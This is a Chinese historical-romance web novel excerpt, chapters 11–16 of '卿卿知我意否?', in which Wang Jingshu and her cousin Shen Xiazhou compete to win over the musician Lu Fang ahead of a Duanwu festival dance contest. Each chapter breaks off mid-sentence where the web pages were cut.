沈二郎急得去拉扯沈遐洲:“大伯离开前,让我多看顾你,我不能让你这样自取灭亡。” 听他提起沈照,沈遐洲将被拉着的手抽出,慢条斯理地理着袖,“二哥到底是担心我,还是担心沈家的利益会被动了?” 扶持寒门武将,那必然会动到一部分世家的利益,沈家首当其冲。 沈遐洲被他问得哑口无言,他不乏也有此担忧,可他对三郎的关心也是真的,洛京一脉的沈氏族人不多,三郎和四妹是他自小看顾着大的,便是没有大伯父的叮嘱,他也是要对三郎规劝一二的。 但他也知晓,三郎的执拗劲,怕是任他说破了嘴也改不了。 “我都担心,不行吗?”沈二郎几乎是从牙缝中挤出来地道,显然对沈遐洲气得不轻。 他来时是怎么地气定神闲,走时就是怎么地气急败坏,暗咒着迟早有能治三郎的出现。 才走至门口,对眼甫一瞧见他就装透明的星泉。 沈二郎气乐了,让人将星泉拦住。 星泉扑通地就给沈二郎跪了:“二郎君,我真的什么的都不知道了,三郎会杀了我的。” 他命苦啊,有个阴晴不定的郎主就罢了,二郎君也不放过他。 沈遐元挑了挑眉,这胆小的,他都还没准备问什么,不过他当初也正是看中星泉的机灵劲会求饶,才送到了三郎的身边。 而且年岁也小,三郎不至于连小孩子儿都打杀。 这不,好好地活到了现在。 他上下打量着星泉,问:“哪去。” 星泉期艾极了:“稷护卫让我将石榴花扔了,我瞧这花开得正盛,扔了可惜,不如取瓶插着赏玩,或许的三郎见了心情也会好。” 嵇牧这护卫沈遐元也是知道的,当初就是他护着三郎去的建业,又从建业回家,他就是瞧着三郎性子已经够静了,身边还跟着个更冷的护卫,一点少年人的活力都没有,才精心选了星泉送给三郎。 也顺带吧,有个能知道三郎院中情况的途径,他一直担忧三郎还陷在过往的自弃自厌中。 可也就三郎初回家那几个月而已,知三郎一切正常后,便再没插手三郎院中的事。 此次是实在摸不透三郎到底要做什么,才在路中绑了星泉,没想星泉都跟三郎几年了,一点长进都没有,知道的竟还不如他多。 沈遐元此刻也不指望星泉能说出些什么来,伸手从他怀中捡了几枝石榴花出来,笑道:“三郎见了花心情会不会好,我不知晓,郎 11. 第 11 章 《卿卿知我意否?》全本免费阅读 沈遐元从流虹院离开后,一扫从三郎那儿受到的闷气,心情甚是飞扬。 王表妹啊王表妹,可千万别辜负他的期待啊。 其实,王静姝要去观玄宴,在他这儿根本算不上秘密,姑母多年没回洛京,想要带表妹多去见识一些宴,那少不得同袁二夫人多交流。 而袁二夫人又是他母亲,虽只是无意中提了一嘴,可他记住了。 至于端午祭,他多是听四妹沈莹提起过,沈莹道王表妹擅舞,言语中还对端午祭颇感兴趣,再加上忽然要改的院子,表妹想做什么也就不言而喻了。 他也算帮王表妹一把,同时也阻上一阻三郎想做的事。 可惜,不能亲自到场去瞧瞧这回到底是三郎赢,还是王表妹赢? * 骄阳初蒸,绿容满眼。 王静姝打着车帘向外眺望,今日一早,她便做好了同叔母赴宴的准备,到了临出门,沈风眠身边的侍女惜翠慌张来道,小郎君夜里贪凉,今晨醒来发起了高热,不能陪同她去赴宴了。 比起赴宴,自然是王闻礼的身体更重要,她也先去瞧了瞧王闻礼这个小堂弟,小小的人儿,额上搭着湿巾,双靥泛着些高热还未退下的潮红,瞧着可怜极了。 房中的侍女仆从请医的请医,熬药的熬药,烧水的烧水……直到小郎君吃下了药,睡过去,沈风眠才放下了心。 这时,沈风眠也想起被忽略了的侄女,有些歉疚,王静姝倒是无所谓,一个宴而已,又不是能决定她终身了。 比起宴,沈二郎提到的那位陆先生,才更让她上心。 她安抚了安抚小叔母,又再看了看王闻礼,才抱着小叔母又塞给她的一堆宴请离开。 她一边翻看着手中的请帖,一边向外走着,看完一张就递给竹苓一张。 这些请帖显然是还没有挑选过的,什么人家的都有,其中不乏一些小世家,难怪小叔母会道,让她拿着去玩。 她一通挑拣,最后像是瞧够了,一股脑地都交给竹苓。 竹苓犹在理着娘子弄乱的帖子,再一抬头,便见娘子走的并非回流虹院的方向,也顾不得整理了,几步追喊着道:“娘子,走错了。” 直到跟着上了马车,竹苓才知道娘子没走错,娘子根本没放弃赴宴,更没放弃拜访陆先生。 马车一直驶出了洛阳城,驶到再也上不去的半山腰才停下,王静姝下了马车,环眼望去,四周景色甚好,茶棚的周围更是停了不少富贵人家马车,想来便是此处了。 然,朝茶棚的小童打问,才知晓到了此处,不过是一个开始。 空山寺之所以称为空山寺,盖因其在群山的最高峰,俯眼便能鸟瞰四周群山,但除了山寺所在的这一峰外,从山腰处开始,便有矮山相连,若是单从他们所在的山腰处看,根本瞧不出,这已是在山上。 也就是说,她要去的空山寺,从现在开始就得靠自己爬了,她抬眼望了望看不到头的石阶,估摸着少说要半个时辰。 茶棚的小童显然是常接待来此处贵人的,同她们建议可以雇几个力夫抬藤椅,不过又道:“娘子来得不巧,今日来山寺的贵人颇多,又已是这个时辰了,那些力夫大抵都还在上头等着营生。” “娘子不妨走上一程,许是能遇上。” 竹苓将问来的一一转告王静姝,由她做决定。 王静姝掏出沈二郎给她画的地图,朝茶棚的小童招手。 小童早就瞧见马车旁的女郎,时人好美人,连普通百姓也不例外,见着漂亮的女郎,自是多看上几眼,眼下被那貌美女郎招手,更是有些受宠若惊,他走到离王静姝几步远的地方见礼,“贵人有何吩咐?” 竹沥帮王静姝拿着地图指给小童瞧,问:“你可知这在哪座峰?要如何去?” 小童细辨了地图许久,“这处小人知道,是空山寺后的一座小峰,没有名字,贵人若是想寻此处,需翻过山寺,从另一侧下山,绕过两座小矮山,便能瞧见一处山隙,穿过那一线天的石阶便能寻到了。” “那儿除了砍柴的农户,少有人去,贵人怎寻这么个地?” 小童不禁疑惑,竹沥瞪了这个多嘴的小童一眼,看向自家娘子,这么高的山,这么绕的路,她无比希冀娘子能打消了访名士的念头。 王静姝沉默了好半响,只问出了一句:“有近路吗?” 小童也愣神一瞬,会来此处的贵人多是为了拜佛和登高游玩,听闻今日更是有不少世家子弟在此饮酒谈玄,这娘子瞧着也是出身不差的,怎不去山寺,反问起不相干的山旮旯? 小童不解,但仍旧答道:“贵人图中所画是经过了山寺,贵人若是略过山寺,倒是有一条野道。”说到这,小童容色又露出些犹豫:“这条道多为农户们所走,不如修整过的石阶大道整洁好行,也无甚风景可赏。” 王静姝此行带的人并不多,两个女婢,一个车夫,还有两个捧着礼的健仆,心中多有些犹豫,若是走大道,那必然要多费功夫,即便寻到了那位陆先生,天也该黑了,半夜打扰很是不便。 但若是走野道,定能早上许多,便是陆先生不予见客,她也能在天黑前到空山寺借住。 她心中一番较量,还是决定走野道:“你只管告诉我野道如何寻。” 小童见她执意,遂也不愿得罪人地直接将野道告知。 这是隐在山林中的小道,说是道路其实都有些抬举,不过是山下农户砍柴走多了留下一条小路罢了。 好在近来天气不错,这些小路并不泥泞,能走。 王静姝也没将人全部带走,安排了竹沥走大道上山,捐一些香油钱,要个住处先,万一被陆先生拒绝了,她便在山寺中住一晚。 林间绿木环绕,并不算热,只有些地方山路太险,她的穿着又太繁复,实在拖累,好在竹苓是个有办法的,解下自己发带,替王静姝将累赘的衣袖折叠、绑扎,显得利落不少,行动也爽利不少。 待能看见茶棚小童说的一线天之时,王静姝也已在高坡上累到倚着树干喘气,她想缓一缓再继续走。 缓了不过片刻,忽地远远瞧见颇为热闹的一群人在靠近,瞧不清脸,但不难辨出打头的年轻男女非富即贵,能这时候来这儿找罪受的,不用猜都知道,定是同她一样的目的。 王静姝也不歇了,下了高坡便想先抢占入一线天的机会,所谓的一线天,是极狭的山间过道,一般只能一两人并行,只要她先行在了前头,后面的人,不管是哪家的,都没有道理抢她前面去。 她一心一意往前冲,竹苓也不得不提起劲跟着,竹苓的体力并不如王静姝,瞧着前头那战斗力满满的娘子,她时常会疑惑,娘子到底哪来 12. 第 12 章 《卿卿知我意否?》全本免费阅读 女郎的背影,纤娜又窈窕,同无甚色彩的石壁与石阶叠在一处,像一抹青青的风,轻盈又动人。 沈遐洲回味着王静姝投来的那一眼,恍惚间,他好似明白了连日来的烦闷出处。 大抵是“不甘心”。 不甘心就这般同王静姝不复往来,不甘心被遗忘,更不甘心她的眼眸中不再出现自己的身影。 所以,当被她极傲地扫过一眼,他竟会觉得兴奋。 是她又来招惹他的,他该报复回去,他该继续同她纠缠—— 他黑岑岑的眼睛紧随着王静姝背影,眼底泛起轻微血丝,像是亢奋的红。 嵇牧咳嗽一声,提醒:“郎君,我们是不是该追上王娘子?” 不止是嵇牧,就连陶然也一同看向了沈遐洲。 陶然心知沈遐洲对她刚才的试探不满,故而才有意追上那王娘子示好补救一番。 可还不及她上前,就触及了那位娘子极为不友善的目光,不由疑惑,三郎同那位娘子当真是亲戚吗? 怎更像是不对付? 她不好多问,甚至心底也涌出些不安。 她与洛京所有出身世家的女郎不同,她阿父明明为大绥征战半生,却仍旧是世家最看不起的寒门武将,她阿父一次次被排挤,被明升暗降,被安排在最为难守之地做太守,却无能为力。 想改变这种境况,唯有改变门第。 长公主之子,她原是不敢想的,可沈三郎他那般好看,又那般不留余力地帮她,让她心生了妄念。 只要成为端午祭的神女,她的出身便不会再是与世家通婚的阻碍。 可现在,她莫名地有些担忧沈三郎会不再站在她这边。 她说不清为何会有这样的感觉,只能祈求般地望向沈三郎,望他生怜。 沈遐洲触及陶然清澈波潋的目光,因王静姝再生的兴奋渐渐平息,他眼神又恢复了那种清透带着些冷意的淡漠。 他想起,他来此是为了替陶然求名士出山。 陶然是寒门武将之女,家中底蕴连末等些的世家都不如,她在舞上本就有所欠缺,对雅乐中意蕴的捕捉与配合更是差上不少,若想补上这份欠缺,除舞技需请名师指导,雅乐上更是要下足功夫。 陆先生是早年成名的曲乐大家,若是能请他出山配合陶然,用乐去补足陶然的欠缺,那陶然的胜算也就大了。 他也终于想起他忽略了什么,他是为陶然求名士而来,那王静姝为何出现在此?她为何也求名士? 她也想参与端午祭“神女”的拔选? 她才到洛京几日,怎就会想参与到此? 她擅舞,爱凑热闹,也爱出风头…… 沈遐洲一边拾级而上,一边排除着王静姝出现在此的目的。 陡地停顿住了脚步,神情也变得几多阴暗扭曲,他想到了一个可能—— 结亲,王静姝亲口承认她是来洛京结亲的。 而短时间内,没有比端午祭“神女”更适合她展现的机会了。 她到底是有多想嫁人啊!便这般等不及? 沈遐洲也不知自己在气什么,他只觉得胸腔的鸷意在蔓延,心底有狰狞的声音在告诉他,王静姝她休想如愿! 众人只见,他们姿仪甚雅的三郎,袖袍翻飞,忽地就走得急切了起来。 * 而另一边的王静姝,从见到沈遐洲开始,便一刻不停歇地向上攀爬。 一想到沈遐洲携貌美女郎风姿迢迢地游山玩水,她就被刺激得不行。 非是嫉妒旁的女郎,而是又是她的好胜心在作怪,明明是她先来的,凭何沈遐洲便那般的闲适自得? 他是不是还要一派轻松地将她想要的送予旁人? 一想到这种可能,王静姝心头就窝火至极,若说她原本对这陆先生只有七分的念头,那现在便有十二分的强求,她先来的,她绝不相让。 她在气头上,显然忘了,若论起他们走的道路不同,谁先谁后还真不一定。 竹苓一直跟着王静姝,累得几欲喘不上气,她实在佩服她家娘子了,野道即便再近,那也是走了近一个时辰,才歇了没一会,便遇上了沈三郎。 她家娘子竟还能有这般的气力,连背后的身姿步态都维持得甚美。 她勉力跟上王静姝,余光一瞥,震惊得说不出话,她竟瞧到她家娘子努力到面孔都狰狞了。 竹苓失语,若是她还有气力的话,定要抱着娘子哭喊:娘子到底用这么貌美的面皮在做什么啊! 到底是有多执着,才能到了这时候,还能不忘不在沈三郎前落了下风。 竹苓实在难以理解,好在这一线天并不长,也就一刻钟的功夫就攀完了,停下时,她不着痕迹地为自家娘子挡了挡,免得白费了娘子这般努力维持的颜面。 一线天的上方,别有一番景色,草木丰润,翠竹累万,草屋竹篱颇有隐士之风。 王静姝没理解竹苓的好意,停顿不过一瞬,有些嫌弃竹苓碍事地将她推开。 移步到竹篱前,轻扣门扉。 门里很快传来了动静,门被推开,有年轻郎君从门后露出半身。 “王娘子,怎是你?” 年轻郎君嗓音悠缓自然,但不难听出有几分诧异,甚至还夹杂着些惊喜? 王静姝撩眼看去,竟是有过一面之缘的惠王殿下。 惠王也在看王静姝,女郎双颊微红,粉唇微张,光洁的额头微微浮着一层细汗,随着向上抬来的一眼,完美的面孔更是暴露在日光下,连湿汗都变得晶莹剔透起来,更显得冰肌玉骨。 这样明艳不可方物的美人,如何不让人心里生怜呢? 惠王从怀中取出巾帕递给王静姝:“王娘子,擦擦汗。” 被这一提醒,王静姝忽地想起自己一路都是如何行来的,后知后觉地担心起自己的仪容,也不知发髻乱没乱,衣着可还整洁…… 她慌乱地摸了摸发髻,又低头去看裙裾…… 惠王不免失笑:“娘子仪容甚好,甚美。” 说着,抬手想为王静姝擦去鬓边的薄汗。 沈遐洲刚行完石阶,便见此一幕,目眦欲裂,行动快过思绪地拦住了惠王堪堪落下的手腕:“惠王怎在这儿?” 他语气颇沉,面容也有些微红,出现 13. 第 13 章 《卿卿知我意否?》全本免费阅读 惠王并不知王静姝要同他说什么,但他是个老好人,对求到面前的事从来不忍拒绝。 他带王静姝离开茶座,走向往不远的树下,这是个很体贴的距离,既不会离开众人的视线,可也不会让王静姝想说的话被人听去。 王静姝却不想去那树下,她指了指更远一些的墙后:“殿下可否同我去那相谈?” 惠王眼中露出犹豫,短暂凝视了王静姝一眼,最后像是迁就般地点头,带王静姝偏离了原先的路径。 草屋斜落的阴影,恰将他们身影遮挡。 惠王:“王娘子现在方便说了。” 王静姝并不弯绕,她抬眼直视惠王:“殿下常同陆先生往来吗?” 虽是问句,但女郎的眼眸太过明亮,语气也带着一股子的笃定,惠王不由自主地就点了头。 “那殿下可知陆先生会去哪取材?” 惠王笑了,他大抵知道这王娘子是想做什么了,“要让娘子失望了,孤虽同陆先生有往来,但屋舍以外的地方,并不曾涉足过。” 也就是说,他并不知道陆先生会去哪里取材。 王静姝有一瞬的失落,垂落的眼睫也跟着轻轻颤晃一下。 大抵是貌美之人得天独厚的优势,明明是极无意的动作,可落在旁人眼里,便会有不一样的解读,惠王静静看着面前的女郎,乌发如缎,眉眼流丽,清新中带着难以言说的艳色,那些微的低落出现在她身上便显得尤为明显,无端地让人想为她解忧。 惠王喉结轻动,想说些什么,却倏地撞入了蓦然望来的眼,那眼清澈纯美,像有清水漫流……这样的大胆,又这样的好看。 他短暂地失了神。 “殿下可否帮我一个忙?”王静姝并没有为没问出陆先生去了哪失落多久,她几乎是请求地软和了嗓音,她记得,沈莹说过,惠王是个老好人,便是身上有一个铜板也是会施舍给乞儿,那应当也不会拒绝帮助她。 她凝着惠王,目中多有期待。 惠王却没有给她回应。 王静姝不放弃地靠近了一小步,微仰着头问:“不行吗?” 她从来是个遇事不放弃的女郎,可求人这种事还是做得少,况且,也有点故意欺负“老好人”的嫌疑,眼见惠王还是不松口,叹息一声,便也有些想作罢了。 也是这时,惠王终于有所动作,他温雅有礼地退后一步,“王娘子想要孤做什么?” 惠王的年岁并不大,听闻刚过弱冠,此时,他一身纯色常服,在屋墙的阴影下垂目望来,如兰一般静雅。 王静姝莫名地又生出些荒诞的熟悉感,但也仅有一瞬,她同惠王认真道:“我想离开一会,望殿下帮我遮掩。” “这恐怕不好办。”惠王抬一眼王静姝身后,意有所指。 王静姝:“殿下可以说我去更衣了。” “也可以说我闹了肚子。” 两者似乎并无什么区别,无非一个时间长点,一个时间短点,可这终归是有些隐秘的私事,尤其还是拜托一个男子转达。 惠王无奈开口:“屋后竹篱还有一扇门,娘子可以从那儿走。” “陆先生曾与我道竹林嫩笋甚为爽口,树下野菇也极鲜美,王娘子或许可以去这些地方寻一寻。” “孤会尽量帮娘子拖延一二。” “多谢殿下!”王静姝笑靥忽地绽开,“我日后一定会感谢殿下的。” 她心中急切,几乎是后半句落下的瞬间,就已提着裙裾跑向惠王所指的后门处。 惠王还是第一次见到有女郎连跑起来也能这般好看,粉白发带与碧色裙裾交织一处,裙摆长衫不断像花一般绽开又落下,唯美又灵动,泛着极其耀目的生机。 惠王目光追着王静姝离开,又忍不住喉间痒意地轻咳,直到止住了咳,才复转了身,但并不急着重回茶座。 他自是知晓王静姝此番用意,她想早沈三郎一步拜访陆先生,可又不想被沈三郎等人察觉,故而拜托他帮忙拖延,即便是很不靠谱的借口,可借着无人瞧见的墙壁遮挡,也没有人会去查证。 有些小聪明。 惠王愿帮她一把地在墙后又稍站了片刻,才走回茶座,然坐席间竟早已没了沈三郎的身影。 惠王怔愣一瞬,还是陶娘子解释道:“三郎道许久等不得陆先生,他出去寻寻。” 一听便是借口的话,倒是同王娘子想到一块去了,惠王不由轻笑,但并不介意,他为陶然斟茶:“既三郎已去寻陆先生了,你我便在这等他们回来吧。” 他说的是“他们”,显然也将王静姝包括了在内,陶然闻弦而知雅意,一时也不去探究消失的王娘子。 而他们不远的竹苓,自是从沈三郎离开的那一刻就开始着急,她侍候娘子多年,娘子做什么她都能猜出一二,她几欲去同娘子通风报信,告知娘子沈三郎也有所动作,可每当她挪一步,沈三郎带来的人也跟着动作。 他们的人显然更多也更强健,若不想为娘子增添寻人的麻烦,倒不如继续保持现状。 竹苓只能在心底祈求娘子能更幸运一些,早沈三郎一步寻到陆先生。 * 屋后面的竹篱果然如惠王所说,有一竹门,门后是一条小道,常有人走的痕迹。 她在建业之时,常同年龄相近的王七郎出门田猎耍玩,跟着痕迹寻人好像和寻猎物也无甚差别,她沿小道走,尤其留意哪儿生有竹笋或是易于生野菌。 林里有风,簌簌响动如潮,野外的草木并不同府中园林那样秀致规整,过于繁茂也过于荫蔽,根本无从辨别那簌簌响动中还藏了什么。 所以她也并不会大胆到偏离小道,可倏地有及近的响动从后扑向她。 她扭身后退一步,竟是一只野雉,落地后,又极快地出窜入了灌木丛。 她心有余悸地抚了抚胸,却被更大的力掼入山林树后,一切只发生在一瞬,她奋力挣扎,眼角也急出泪痕。 “是我。”沈遐洲开口。 他的嗓音不高,甚至有些刻意的压低,可在巨大的惊吓当中,王静姝还是听出来了,反抗的身子也随之一软,有些惊魂未定的轻颤。 她仰靠着树,几乎是怒瞪着沈遐洲,扭动着脖颈,欲从他的钳制中挣脱。 沈遐洲并未 14. 第 14 章 《卿卿知我意否?》全本免费阅读 不适什么? 大抵是她曾起过当沈遐洲长辈的念头,在这种念头下再去看他们的相似,就很微妙。 微妙得她打了个哆嗦,连忙将荒唐的念头赶出脑海,警告沈遐洲:“我们各凭本事,你莫要再跟踪我!” 话落,她也不等沈遐洲如何回应,扭头就走。 她步子很快,不辨方向往前的模样很是有几分落荒而逃的意味。 沈遐洲摩挲着又淡了不少的牙印,出神地望着她背影,眉头也微微皱起。 各凭本事?王静姝只有输的份。 而且,她已经输了。 想必现在的陆先生,早已回到了屋舍,而陶然能孤身从雁郡到洛京忍耐到现在,心性自是不必说,是不会错过为她创造的这个机会的。 王静姝从被他拽到树后的那一刻就已经失去了先机。 他想,她会对他生气的,甚至—— 仇视。 年轻郎君眼中的光火一点点沉寂,俊美的脸庞因羞赧升起的血色也一点点淡去,呈现雪一般的白。 他立在那,恍若覆满雪的孤山,空寂又寥落。 像是过了很久,他黑岑岑的瞳仁动了动,对着空无一人山林扯出一抹笑,似凉薄又似自厌,还隐隐有些下坠的疯意。 王静姝是他所有计划中的意外,意外本就该排除,况他也没想过让她如愿。 再则,他们本就不是一路人,也本就相互看不惯。 既如此,多一件少一件事又有何区别? 王静姝该庆幸两家的姻亲关系,他才一再容忍她。 年轻郎君容色几多变化,一会阴冷,又一会自怜……直到走回屋舍,才作秀似的换上了一贯的淡漠。 他漠然地看着陶然送出孤本,漠然地扫过犹豫的陆放,又忽视了陶然不时投来请求的目光。 是他带陶然来的,按理,他应当开口说几句话,至少让陆放先生知晓,陶然背靠沈家,请他出山并不算埋没他。 然他神色间总拢着一层淡淡的恹色,也倦于再帮陶然做什么,到了这时候她还自己抓不住机会,那早点让陶敬换个女儿送来好了,虽然他也不知陶敬还有没有其他女儿。 其实即便沈遐洲不开口,他人坐在这儿就已然是在给陶然底气,单是送出的那本孤本也早已让陆放意动,陶然不断睇眼沈遐洲,也不过是想借机展示一下亲近。 可惜她的眼神都投给了木头,带她来的沈三郎还不及惠王温煦体贴。 惠王虽未帮她在此事上说话,可一举一动都是那样的会照顾人,原来洛京的贵人也不都是倨傲看不起寒门的。 在惠王再次不让她的话落地时,她感激地回以一笑,一旁的陆先生反复地拿起又放下孤本《琴操》,最后下定了决心般地郑重道:“陶娘子既诚心请我,老夫也不好辜负了娘子的用心。” “待老夫整顿上两日,再带上器乐去为娘子改曲。” 此改曲非是将祭舞的固定谱乐改了,而是配合陶然的舞重排演奏乐器,并以雅乐在适当的时候托举陶然,这非一两日就可达到配合,他既答应了帮忙,定然是要再做些准备。 陶然欣喜道谢。 …… 当王静姝丧气重回往屋舍,瞧见的就是众人相谈甚欢,一切尘埃落定的模样。 竹苓终于见到自家娘子回来,快步上前:“娘子,我们的礼被陆先生退了。” 竹苓知道娘子今日对陆先生是多有志在必得,在陆先生回来的一瞬,她便替娘子送上了礼,甚至说明了来意,可陆先生只觉得他们扰了他的清净。 陆先生对陶娘子等人本也是一视同仁,直到惠王同陆放先生说明,是他请众人入的屋舍,陆放先生的容色才好了一些,“那陶娘子显然是早有准备,她送的礼是一本曲谱孤本,好似是陆先生寻访多年不得的那本。” 竹苓说到这儿难免有些怄气,她家娘子带来的礼不见得就比那孤本差,可再好也难抵过人心头好。 王静姝将竹苓的话听进去了,但她更想到的是沈遐洲在这当中的作用。 她目光针锥一样射向沈遐洲,神情也是强行忍耐着愤怒,什么害羞,怕不是沈遐洲为了阻拦她,做出来骗她的。 她怒了又怒,呼吸也沉重几分,竹苓怕娘子气糊涂冲上去同沈三郎拼命,连忙低声劝说:“娘子,忍住,千万忍住。” “这位先生不行,我们便再寻别的先生。” “洛京这么大,还愁寻不到其他擅雅乐的大家吗?” …… 竹苓犹在低声劝道。 王静姝却知晓竹苓到底在担心什么,她不能同沈遐洲闹得太难看,她必须借住在沈家,她有家不能回。 浓浓的无力紧攫住了她的心脏,难受得她几欲红了眼眶,但她是个骄傲又好面子的女郎,她只不再去看沈遐洲,微昂着头,走向围坐的茶席。 陆先生因背坐,并未察觉有人行来,而沈遐洲只紧盯着并不看他的王静姝,惠王倒是也留意到了王静姝,投给她一种因没能帮到她的歉然眼神,最后还是陶然先“呀”一声,说道:“王娘子,你赏景回来了。” 王静姝眸光一转,料想这是惠王为她另寻的借口,她觉得惠王为她想的这个借口一点也不好,她可以去赏景,那沈遐洲不也可以去赏景?不然她怎么同沈遐洲在外头遇到的? 还不如她闹肚子的借口能稳住人。 不过现在是何借口都无所谓了,她矜傲的点了点头:“山里的景色别有一番野趣,陆先生这居所可真令人向往。” 陆放得到苦寻许久孤本,正是爱不释手之际,刚同陶娘子说话都几多心不在焉,眼下就是知道有人来,也不过是抓紧时间又翻了翻孤本,直到听得有人夸他的住所,才颇觉心神相通地转身,只见是个华光熠熠的年轻女郎,天缥碧这般淡雅的颜色,也掩不住她身段姿仪透出的古艳。 美貌如此,人间少有,让人不住地想看一眼又一眼。 王静姝从不惧人看,她微微一笑,大方见礼:“建业王氏六娘幸会陆先生,早闻得先生大名,今日得见,一些薄礼献上。” 时人尤重品貌风度,再闻得她出自建业王家,陆放也不由重视了起来,请她坐下。 王静姝却露出些可惜的神情拒绝:“今日本还有一事相求,可惜我同先生 15. 第 15 章 《卿卿知我意否?》全本免费阅读 沈遐洲拒绝了惠王的邀请。 他想,王静姝应是不想再看到他的。 那如针芒一般的眼神,也定然是怒极了他。 明明是早就料到的结果,沈遐洲仍旧觉得心头像是压着一块巨石,压抑,又无法摆脱。 无法掌控的情绪令他忍耐不住的狂躁,他瞳眸盯向惠王,并无笑意,甚至有些尖锐,然他的语气又是那么幽静:“殿下是怎么识得我表妹的?” 惠王有一瞬像是被阴凉诡谲的毒蛇盯上,吃惊望向沈遐洲,只见俊美的年轻郎君面色有些苍白,莹莹黑目已投向山林远处,一身渺渺之姿,自然是沈遐洲,恍若所有的感觉都是他的错觉。 不管是不是错觉,惠王对沈遐洲都是极尽包容的,他微微一笑,像宽容的长辈一般有问必答:“三郎可还记得几日前,我曾去沈府见你?” “那日路过花园,恰同王娘子有过一面之缘。”惠王不免回忆起对女郎的惊鸿一面,唇角笑意也加深,“今日再见,才真正识得了王娘子风采。” 惠王既感叹又可惜,不免有些不赞同地同沈遐洲道:“三郎,我虽不知你同陶娘子是何关系,但王娘子毕竟是你家中表妹,她们又都对陆先生有所求,你胳膊往外拐得太过了。” “我瞧王娘子心中对你是有气的。” 沈遐洲心中像是又被戳了一刀,眸中锐意微缩:“舅父既想帮她,又为何不帮到底呢?” 短短一句话,似戏谑,又似玩味,但“舅父”二字,又将惠王拉到了王静姝长辈的同等高度。 他为何不帮到底呢?便是再软和脾性的好人,在面对这种明显的亲疏,也能做些什么的吧? 比如将时间拖到王静姝回来,给她们一个公平的机会。 你不是什么都没做吗? 惠王清清楚楚地从沈遐洲严眼中看到了这样的诘问。 他心神震荡,面孔一瞬染上愧色:“是孤的错。” 他总是这样,不管什么责总能揽到自己身上去,若是有旁人在场,惠王的软心肠,怕是又有得说道了。 沈遐洲不愿听他揽责自剖,转身离去。 惠王似没有发现他的离开,低垂着眸为自己的过错伤责,直到过了许久,他才抬眼直直凝望着早已没了沈遐洲身影的山林,目中清澈分明,无悲无喜,甚至轻轻一笑,像是无奈地轻喃:“三郎可真是敏锐。” * 王静姝在夜色彻底黑下前到了山寺,用过素斋,却并无困意,她趴在窗前,凝着山间尤为清亮的月色,心中思绪甚多。 想有家难回,寄人篱下,前途未卜,沈遐洲还同她作对…… 一桩桩一件件都无比让她气闷,胸腔中像是有什么要炸开一般的难受,她披衣推门而出,毫无征兆也毫无准备地起舞,是她极其擅长的快舞,裙裾随她越来越疾迅的舞姿漫飞,似只有这般耗完最后一分气力,才能赶走纷乱的愁绪,她沉浸在自己的舞中,并未察觉这庭院中有了外来者。 竹苓无法打断娘子的发泄,更无法在这时再请惠王离开,她偏眼便瞧见惠王目露惊艳,心中叹气,她家娘子就没有一时是不招人的。 翩若惊鸿,婉如游龙。惠王想不出比这更适合的形容,双眼也不自觉地跟随着女郎的曼舞,他心神激荡,手中凤箫也放置唇边。 王静姝忽闻箫声,疾舞稍缓一瞬,那箫声也跟着一缓,便知这是在合她的舞,她便也不去看是谁在为她合乐,挑衅似的,变了疾舞的节奏。 在建业时,不是没有慕她的郎君用乐来吸引她,有时还会故意跟着七郎来府中做客,偷跑去瞧她练舞,卖弄地插入音律。 每每这时,她就厌烦不已,曲子行不行先不说,扰了她兴致着实可恶,她有意让那些小郎君丢脸,便会越舞越快,快到他们跟不上,最后破了音。 此刻山寺庭院中也有人不自量力,她自是更觉晦气,怎么自己随意发泄起舞,都有人能来坏她兴致? 她揉腰掠地一瞬,捡起一段树枝,裙袖飞扬间,气势转变—— 是剑舞。 音律来不及跟着转变,凤箫破风般“哗哔”一音停歇,惠王还未及放下凤箫,女郎的树枝已经指到面前,目色如火,身姿又似仙,迫人的气势,因为太过美丽,并不觉得威胁。 惠王瞳孔中紧紧映着女郎绝美的身影,有震惊,有欣赏,还有辨不清的灼热,然也是一瞬的功夫,他掩下目光,歉意道:“是孤扰了王娘子。” 王静姝在看清来人的那一瞬,便敛了气势,升起几分窘意,她并不知来人是惠王。 她只见过惠王两次,算上这会是第三次,前两次的印象都不差,惠王体贴有礼,为人也良善,像今日,便什么也不过问地就帮她指了路。 于情于理,她都摆不出冷脸来,手一松,树枝落地,掩饰方才怒火地拍了拍手,“惠王殿下怎在此?” 王静姝虽是问惠王,眼风却也瞅了一眼竹苓,大有怎么不提醒她的意思。 惠王便笑:“白日没能帮上王娘子,孤心中有愧,得知娘子今日宿在寺中,便贸然来访。” 便因这? 怎么会有人因为没有帮上别人就觉得心中有愧?王静姝第一次感受到,惠王到底老好人到了什么程度。 面对这样良善的惠王,王静姝也不免柔了语调,“惠王殿下已尽力,不必自责,是我气运不好。” 除却气运不好,更可恶的是从中作梗的沈遐洲,可惠王连沈四娘子都震不住,又怎么可能左右得了沈遐洲。 王静姝并不怪惠王,也不会因惠王的自责,就当真觉得惠王就该帮她,她也不愿再纠结于此事,目光看向惠王垂下的凤箫。 惠王会意一般解释:“料想娘子也是为端午祭雅乐求访陆先生,白日里没帮上忙,便带了凤箫来,想试试可否能帮上娘子,技艺不足,倒是让王娘子笑话了。” 时人祭祀大典有钦定的奏乐规格,讲究八音俱全,乐器包含大鼓钟、编钟、编磬、凤箫、琴瑟、埙、篪等,凤箫在其中也占了举足轻重的位置。 但陆先生能被求访,可不是因他只会一样乐器,他是能调度编排所有器乐该在的位置和出现的时刻,惠王也不该不知道这一点,可仍旧带上了凤箫来见王静姝。 老好人的愧是一方面,可另一方面也不乏有亲近王静姝之意。 王静姝是被年轻郎君追慕惯了的女郎,眼波流转间就懂了惠王的醉翁之意,笑意也如月色般流泻,“殿下箫声婉转清越,很是动听。” “王娘子是第一次来空山寺,若是还不困,可要夜游一番?”惠王邀请。 空山寺多有贵人来借住,寺中灯火与旁的寺庙也多有不同,到了夜里不止寺中灯盏不灭,攀山石阶一路的石灯也会全点亮,若是夜里从高处下望,便如山中蜿蜒着一条火龙般。 王静姝也 16. 第 16 章 《卿卿知我意否?》全本免费阅读 沈遐洲吐血有被气的成分在,但更多是他原本中毒的后遗症,脾脏较弱,加之内劲使用过度,便压制不住地反应在身体上。 实际上多数时候并没有什么大问题,他心中清楚,可他确实许久没有这般不受控过,偏又受虐地强迫自己去瞧那石亭中的男女。 他目底狰狞,什么轻微举动都能瞧出不妥来,例如他们怎又靠近了一步?为何相视而笑?他们在说些什么?他们到底要幽会到什么时候? “郎君,可要去同惠王与王娘子打声招呼?”嵇牧低声询问,他是实在怕郎君气出个好歹来,毕竟他家郎君的身体是有过前例的。 再则他瞧着惠王同王娘子似也没什么不妥,不就一起看个月亮听个曲吗? 